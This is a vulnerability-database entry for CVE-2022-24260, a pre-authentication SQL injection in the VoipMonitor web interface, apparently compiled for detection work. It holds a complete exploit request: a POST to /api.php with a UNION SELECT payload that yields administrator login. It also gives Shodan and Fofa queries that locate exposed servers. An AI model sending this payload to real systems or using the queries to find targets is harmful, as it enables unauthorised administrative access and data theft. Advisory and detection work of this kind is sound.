🔙 목록으로 돌아가기

CVE-2022-24260: VoipMonitor - Pre-Auth SQL Injection

TitleVoipMonitor - Pre-Auth SQL Injection
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationApply the latest security patches or updates provided by the vendor to fix the SQL injection vulnerability in the VoipMonitor application.
CVSS Score9.8
EPSS Score0.91405
CVE IDCVE-2022-24260
CWE IDCWE-89
Shodan Queryhttp.title:"VoIPmonitor"http.title:"voipmonitor"
Fofa Querytitle="voipmonitor"
Tags cve cve2022 voipmonitor sqli unauth vkev vuln

🔍 Vulnerability Description

A SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level.

🌐 HTTP Request

POST /api.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
Content-Length: 524
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

module=relogin&action=login&pass=nope&user=a' UNION SELECT 'admin','admin',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null; #

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24260.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-24260.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A